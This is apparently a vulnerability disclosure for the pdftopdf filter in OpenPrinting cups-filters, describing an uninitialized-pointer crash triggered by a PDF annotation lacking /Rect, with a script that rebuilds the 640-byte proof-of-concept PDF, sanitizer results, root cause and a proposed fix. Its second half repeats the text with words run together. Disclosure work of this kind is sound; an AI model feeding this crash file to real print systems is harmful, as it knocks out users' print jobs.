Summary
flatten_pdf() allocates an uninitialized array of annotation-content
pointers. A PDF annotation with a valid appearance stream but no /Rect
causes content generation to return null without initializing its array slot.
The annotation count still includes that slot, and the filter later passes the
uninitialized pointer to pdfioStreamPuts() and strlen().
A compact PDF triggers the failure through a normal PDF print path with no
special job option. The demonstrated primitive is an uncontrolled read from an
uninitialized heap pointer and reliable filter denial of service; no write or
code execution is shown.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.pdf is a parseable 640-byte PDF 1.4 with a /Text
annotation and valid /AP /N Form stream but no required /Rect. Its SHA-256
is a631831c65e20ffd15fa8faf13910a4be3d1f021b3ceb7da46d5ad581d24671f.
Run:
The same result was reproduced with PDFio 1.7.0; see pdfio-1.7.0.txt.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pdftopdf: missing annotation rectangle leaves an uninitialized pointer
# Finding ID: pdftopdf-annotation-uninitialized-pointer
# Trigger: flatten_pdf() allocates an uninitialized array of annotation-
# content pointers. A PDF annotation with a valid appearance stream but no
# /Rect causes content generation to return null without initializing its
# array slot. The annotation count still includes that slot, and the filter
# later passes the uninitialized pointer to pdfioStreamPuts() and strlen().
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (640 bytes)
write_file document.pdf a631831c65e20ffd15fa8faf13910a4be3d1f021b3ceb7da46d5ad581d24671f <<'POC_PAYLOAD_0'
H4sIAAAAAAACA42SX2uDMBTF3/Mp7ouPW4waXaEU2m2+7E+l7cNA+hBn6ixtMmIKbp9+iUoV0oeJ
iPfkd8+50XjZU3pH7iNEwAdZHNF8Dnj3880BPzLNTrICnLGKNxAYYAOLBeKitGDgNPQcfqnLBvLQ
4nvjIi9CA5k0hjcb7VNxg/Y5+I2XNVvJFnLfCDEJIJkFnZ/QBmsg6rmlENJUOe3zxphoEvPKRaW/
jGCWG604OyOLDa9DA3Xm6rwBby+F7uodb02Zmmi8zMBy7xAPn2WSHDtGH+viyD+nVqlUZ8Cr6waJ
vff/nLRV/IB8SJB/vSCmNKRwgFGbQb8iRo0+OBoh1NEC4nJBnDhaGPmjphWrT1x1u97WvxwSwBsp
7b8fDk6jmdLd7FGYIM97XqfoD7PGOGqAAgAA
POC_PAYLOAD_0
Result
ASan shows the allocator poison pointer 0xbebebebebebebebe reaching
strlen() from pdfioStreamPuts() and flatten_pdf() at
pdftopdf.c:1957. Three sanitized runs aborted and three unsanitized runs
exited with SIGSEGV, status 139.
An isolated CUPS scheduler automatically identifies the document as
application/pdf, selects pdftopdf, and reports that the filter function
failed. The scheduler remains alive and only the submitted job fails; see
cupsd-pipeline.txt.
Cause and expected behavior
The pointer array is created with malloc() at line 1524. When
pdfio_annotation_get_content() rejects the missing rectangle at lines
1303-1307, the guarded assignment beginning at line 1606 is skipped, but
num_annotations is still derived from the original count at line 1914.
Lines 1952-1957 then test and consume an indeterminate pointer.
The array must be zero-initialized and successful content entries should be
compacted into a separately tracked count. Every early annotation failure
must release temporary allocations and leave no consumable slot. A malformed
annotation should be skipped or reject the page without dereferencing
uninitialized state.
Summary
flatten_pdf()allocates an uninitialized array of annotation-contentpointers. A PDF annotation with a valid appearance stream but no
/Rectcauses content generation to return null without initializing its array slot.
The annotation count still includes that slot, and the filter later passes the
uninitialized pointer to
pdfioStreamPuts()andstrlen().A compact PDF triggers the failure through a normal PDF print path with no
special job option. The demonstrated primitive is an uncontrolled read from an
uninitialized heap pointer and reliable filter denial of service; no write or
code execution is shown.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.pdfis a parseable 640-byte PDF 1.4 with a/Textannotation and valid
/AP /NForm stream but no required/Rect. Its SHA-256is
a631831c65e20ffd15fa8faf13910a4be3d1f021b3ceb7da46d5ad581d24671f.Run:
The same result was reproduced with PDFio 1.7.0; see
pdfio-1.7.0.txt.The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
ASan shows the allocator poison pointer
0xbebebebebebebebereachingstrlen()frompdfioStreamPuts()andflatten_pdf()atpdftopdf.c:1957. Three sanitized runs aborted and three unsanitized runsexited with SIGSEGV, status 139.
An isolated CUPS scheduler automatically identifies the document as
application/pdf, selectspdftopdf, and reports that the filter functionfailed. The scheduler remains alive and only the submitted job fails; see
cupsd-pipeline.txt.Cause and expected behavior
The pointer array is created with
malloc()at line 1524. Whenpdfio_annotation_get_content()rejects the missing rectangle at lines1303-1307, the guarded assignment beginning at line 1606 is skipped, but
num_annotationsis still derived from the original count at line 1914.Lines 1952-1957 then test and consume an indeterminate pointer.
The array must be zero-initialized and successful content entries should be
compacted into a separately tracked count. Every early annotation failure
must release temporary allocations and leave no consumable slot. A malformed
annotation should be skipped or reject the page without dereferencing
uninitialized state.